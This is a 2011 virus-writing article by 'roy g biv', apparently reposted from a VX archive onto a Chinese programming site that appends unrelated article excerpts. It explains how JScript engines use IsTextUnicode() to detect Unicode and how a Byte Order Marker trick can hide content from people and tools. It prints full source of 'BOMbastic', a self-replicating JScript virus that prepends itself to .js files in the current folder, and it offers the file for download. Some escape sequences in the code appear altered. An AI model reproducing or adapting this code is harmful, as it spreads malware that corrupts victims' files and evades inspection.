BOMbing The System

roy g biv
February 2011

[Back to index] [Comments (0)]

  • What is a BOM?
  • Why should we care?
  • Great, can we do that?
  • Okay, let's do it!
  • Unicode in files
  • Greets to friendly people (A-Z)

What is a BOM?

It's not the thing that explodes. That's a BOMB. Heh. BOM is Byte Order Marker. Some Unicode files use the Byte Order Marker to say that they are Unicode, and to say the order of the bytes (little-endian or big-endian). I say "some Unicode files" because there are exceptions, and one of those exceptions is very interesting: VBScript and JScript. Yes, Microsoft scripting technologies do not care about BOM is present or not (delete BOM and see for yourself!). They detect Unicode format using a special API called IsTextUnicode().

Why should we care?

The special thing about the IsTextUnicode() API is that it can only guess if a file is Unicode format or ANSI format. It cannot say for sure, so if we can put a BOM in the front of the file but force the API to return ANSI format, then we can put lots of Unicode in the file to fool people and some tools.

Great, can we do that?

Of course :) but only for JScript. :(

The IsTextUnicode() API takes three parameters: lpBuffer, cb, lpi. lpBuffer is a pointer to the buffer to examine, cb is the size of the buffer, and lpi is a pointer to a variable that contains flags to test on input, and it also receives the result on output. The API examines up to 256 bytes of the file, and then performs the tests that are requested. Microsoft scripting engines call the API with lots of flags to test, but only one is interesting for us: IS_TEXT_UNICODE_ILLEGAL_CHARS. The engines also ignore the return value and check only if IS_TEXT_UNICODE_ILLEGAL_CHARS is set.

If we put an illegal Unicode character in the first 256 bytes of the file, then the engines will think that the file is in ANSI format, even if there is a BOM in the front of the file. Meanwhile, everyone else will still think that the file is in Unicode format.

The characters that are considered to be illegal are 0x0a0d, 0xfeff, 0xffff (only in little-endian format)... and 0x0000. Who remembers my "Pretext" virus from 2002? I used there a technique that I call "tar-script". Microsoft's scripting engines calculate the length of a script by using strlen() function. This means that when a 0 is found, no more file is examined, so if our script ends with a 0 then we can append anything to it and no errors will happen. In this case, we use double-zero to make illegal Unicode character, and still work for ANSI case.

In ANSI mode, BOM can be used for variable name in JScript files. Of course, 256 bytes is not enough for the virus, so the host must be made into "sandwich" where virus code is at start and end, and host code is in the middle.

Okay, let's do it!

Except that it doesn't work. Since the JScript engine is not intended to support something like this, I should not call it a bug. When I tried to write the host code to disk in order to run it, a section of the file was all zeroes. The number of zeroes there depended on the size of the host code. If the code was larger then more zeroes, if smaller then fewer zeroes. The host could not be run when like that. Also, if the host code was large enough, the sandwich code did not run either. So I had to think of another way. It was very simple solution after all. I just had to make the file size odd so that it could not possibly be Unicode format. The simplest way to do that is to make the virus code even and append a single character after the host. The virus code size must be even so that the host code is visible.

Unicode in files

It is interesting that I could not find a way to force the scripting engines to write Unicode strings. They always seem to call WideCharToMultiByte() before writing, because all strings are Unicode format internally. If I read from a file, the engines always seem to call MultiByteToWideChar(), no matter what is the format of the data. If the data were Unicode already, then they become "double-Unicode". It's very weird, so I had to convert to Unicode on my own.

Let's see the code.

<BOM>="BOMbastic - roy g biv 01/02/11"
a=new ActiveXObject("scripting.filesystemobject")
try
{
c=a.opentextfile(b=WScript.scriptfullname)    //open host
d=c.read(750)                                 //read virus code.  750 is size of virus with no comments or spaces
//if you change the size of code, then you must change this value
e=a.getfile(b)                                //get our file object
f=c.readall()                                 //read rest of host file
c=e.attributes                                //save attributes
e.attributes=0                                //remove any read-only attribute
g=a.createtextfile(b)                         //make new host
for(h=0;h<f.length-1;h+=2)
g.write(f.substr(h,1))                      //convert Unicode to ANSI and write host
g.close()                                     //close host to allow run later
e.attributes=c                                //restore attributes
}
catch(z)
{
}
for(c=new Enumerator(a.getfolder(".").files);!c.atEnd();c.moveNext())
//demo version, current directory only
{
e=c.item()
if(b!=e&&a.getextensionname(e).toLowerCase()=="js")
try
{
f=a.opentextfile(e)                       //open potential victim
g=f.read(1)                               //read first character, keep for later
if(g!="/xff")                             //check for BOM (used as infection marker)
try
{
h=g+f.readall()                       //read entire file
i=e.attributes                        //save attributes
e.attributes=0                        //remove any read-only attribute
j=a.createtextfile(e)                 //open file for writing
j.write(d)                            //prepend to file
for(k=0;k<h.length;++k)
j.write(h.substr(k,1)+"/0")         //convert ANSI to Unicode and write host
j.write("r")
j.close()                             //close file (write mode)
e.attributes=i                        //restore attributes
}
catch(z)
{
}
f.close()                                 //close file (read mode)
}
catch(z)
{
}
}
new ActiveXObject("wscript.shell").exec("wscript "+b)
//run host
<0 here>

Doenload the BOMBAST.js

Greets to friendly people (A-Z)

Active - Benny - herm1t - hh86 - izee - jqwerty - Malum - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna - Whitehead

 

 

摘自:http://vx.netlux.org/lib/vrg07.html

 

18:28:12

2011-03-05

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/374953.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

鸟哥的linux私房菜学习笔记 ---第7章-2

1,文件内容查阅的命令: cat ,tac nl,more, less,head,tail ,od 文件的查阅参数,显示行号如何显示行号 nl 中的所有参数都是关于如何显示行号的 这里面less的功能更多,更灵活 :空格 下一页 pageup上一页 pagedown 下一页 /string 字符串查询 ?string 反向字符串查询 man的命…

HDU - 4497 GCD and LCM

题意&#xff1a;给出三个数的gcd,lcm&#xff0c;求这三个数的全部的可能 思路 &#xff1a;设x,y,z的gcd为d&#xff0c;那么设xd*a&#xff0c;yd*b&#xff0c;zd*c。a&#xff0c;b。c肯定是互质的。那么lcmd*a*b*c,所以我们能够得到a*b*clcm/gcdans,将ans分解因数后&…

Java Lambda语法替代

关于lambda-dev邮件列表的讨论已经开始解决lambdas /函数文字的Java语言语法应该是什么样的问题。 让我们看一个稍微平凡的例子&#xff0c;然后尝试弄清楚问题。 Perl的人有一个很好的例子&#xff0c;说明以某种功能性的方式使用函数引用–他们称其为Schwartzian变换&#xf…

浅析SMC技术

今天让我们来看Win32ASM里面的高级一点的技术——SMC&#xff08;当当当当……&#xff09;&#xff01;&#xff01;&#xff01;SMC是什么意思&#xff1f;它的英文名叫“Self Modifying Code”&#xff0c;顾名思义&#xff0c;就是“代码自修改”&#xff08;&#xff1f;&…

JAVA基础--程序是顺序执行的

class Testa {public static void main(String[] args) {String aa"aaa";String bb"bbb"aa;aa"cccc";System.out.println(bb);} } 输出的是 “bbbaaa class Testa {public static void main(String[] args) {String aa"aaa";String …

Spring MVC拦截器示例

我以为是时候看看Spring的MVC拦截器机制了&#xff0c;这种机制已经存在了很多年&#xff0c;并且是一个非常有用的工具。 Spring Interceptor会按照提示进行操作&#xff1a;在传入的HTTP请求到达您的Spring MVC控制器类之前对其进行拦截&#xff0c;或者相反&#xff0c;在其…

Android 调用系统的分享[完美实现同一时候分享图片和文字]

android 系统的分享功能 private void share(String content, Uri uri){Intent shareIntent new Intent(Intent.ACTION_SEND); if(uri!null){//uri 是图片的地址shareIntent.putExtra(Intent.EXTRA_STREAM, uri);shareIntent.setType("image/*"); //当用户选择短信时…

团队行为守则—如果你们由我来领导

&#xfeff;&#xfeff;如果你是在我领导的团队里&#xff0c;有几个额外的事情我要告诉你。我深信这些行为守则是一个高效团队的润滑剂&#xff0c;我并不只是要求别人这样做&#xff0c;我自己也严格恪守。 只有三样事&#xff1a; 问&#xff1a;如果你对任务不清楚&#…

做短,但做对!

编写简洁&#xff0c;优雅&#xff0c;清晰的代码一直是开发人员的艰巨任务。 您的同事不仅会感谢您&#xff0c;而且您会惊讶地发现&#xff0c;不断期待着重构解决方案以更少的代码完成更多&#xff08;或至少相同&#xff09;的工作是多么令人兴奋。 曾经有人说好的程序员是…

math

莫比乌斯反演&#xff1a; $F(n) \sum\limits_{d|n} {f(d)} \Leftrightarrow \sum\limits_{d|n} {\mu (d)F(\frac{n}{d})} $ 其中 ${\mu (d)}$为莫比乌斯函数: 若$d$等于0 , 则${\mu (d)}$1 若$d {p_1}{p_2}{p_3}...{p_k}$ , ${p_i}$为互异质数&#xff0c;则${\mu (d)}$${( …

(笔试题)二进制1的个数相同的距离最小数

题目&#xff1a; 输入&#xff1a;整数A输出&#xff1a;整数B条件&#xff1a;A和B的二进制1的个数相同&#xff0c;且A和B之间的距离|A-B|最小。思路&#xff1a; 题目没有说明整数类型&#xff0c;这里认为是带符号的整数&#xff0c;即区分正负数。 根据题意&#xff0c;A…

Java Swing –日期选择器对话框

房子里有Swing开发人员吗&#xff1f; 对于使用Swing的用户来说&#xff0c;这是一个GUI组件&#xff0c;可能会对您的UI编码工作有所帮助。 我们的JCG合作伙伴之一提供了日期选择器小部件。 一探究竟&#xff1a; Java Swing –日期选择器对话框以选择日期 翻译自: https://…

Casperjs中fill提交表单遇到的问题

1.if you access internet with proxy please add --ignore-ssl-errorstrue --ssl-protocolany 2.casper.then* and casper.wait* 都是异步执行的 他们的调用&#xff0c;都是按堆栈中的顺序来执行&#xff1b;也就是说&#xff0c;其他同步执行的函数&#xff0c;…

Xuggler视频处理简介

注意&#xff1a;这是我们的“ Xuggler开发教程 ”系列的一部分。 随着互联网上视频的爆炸式增长&#xff0c;开发人员经常需要在其应用程序中操纵视频内容。 Xuggler是Java开发人员的免费开放源代码库&#xff0c;可用于实时解压缩&#xff0c;处理和压缩录制的视频或实时视频…

软件测试中条件覆盖,路径覆盖,语句覆盖,分支覆盖的区别

转&#xff1a;软件测试中条件覆盖&#xff0c;路径覆盖&#xff0c;语句覆盖&#xff0c;分支覆盖的区别 举个例子吧 if A and B then Action1 if C or D then Action2 语句覆盖最弱&#xff0c;只需要让程序中的语句都执行一遍即可 …

Spring_讲解

http://s&#xff0c;i&#xff0c;s&#xff0c;h&#xff0c;u&#xff0c;o&#xff0c;k.com/forum/blogPost/list/6174.html转载于:https://www.cnblogs.com/gisblogs/p/4579162.html

使用Spring AspectJ和Maven进行面向方面的编程

Spring框架附带AOP支持。 实际上&#xff0c;如Spring参考文档中所述 &#xff0c; “ Spring的关键组件之一是AOP框架。 尽管Spring IoC容器不依赖于AOP&#xff0c;这意味着您不需要使用AOP&#xff0c;但AOP是对Spring IoC的补充&#xff0c;以提供功能强大的中间件解决方案…

hadoop5--mapreduce设计模式

运行结果附图 本节课程主要内容为学习MapReduc设计模式&#xff0c;并编写java程序对日志文件进行处理。 课本上介绍的MapReduce的设计模式主要包含:计数(Counting),分类(Classification),过滤处理(Filtering),排序(Sorting),去重计数(Distinct Counting),相关计数(Cross-Corre…

ES5中新增的Array方法详细说明

http://www.zhangxinxu.com/wordpress/2013/04/es5%E6%96%B0%E5%A2%9E%E6%95%B0%E7%BB%84%E6%96%B9%E6%B3%95/转载于:https://www.cnblogs.com/lmw425317/p/5339539.html

jqGrid,REST,AJAX和Spring MVC集成

两年多以前&#xff0c;我写了一篇关于两个如何在Struts2中实现优雅的CRUD的文章。 实际上&#xff0c;我必须就该主题写两篇文章&#xff0c;因为该主题如此广泛。 今天&#xff0c;我采用了一套更为流行的&#xff0c;完善的框架和库&#xff0c;采用了更为轻量级的现代方法。…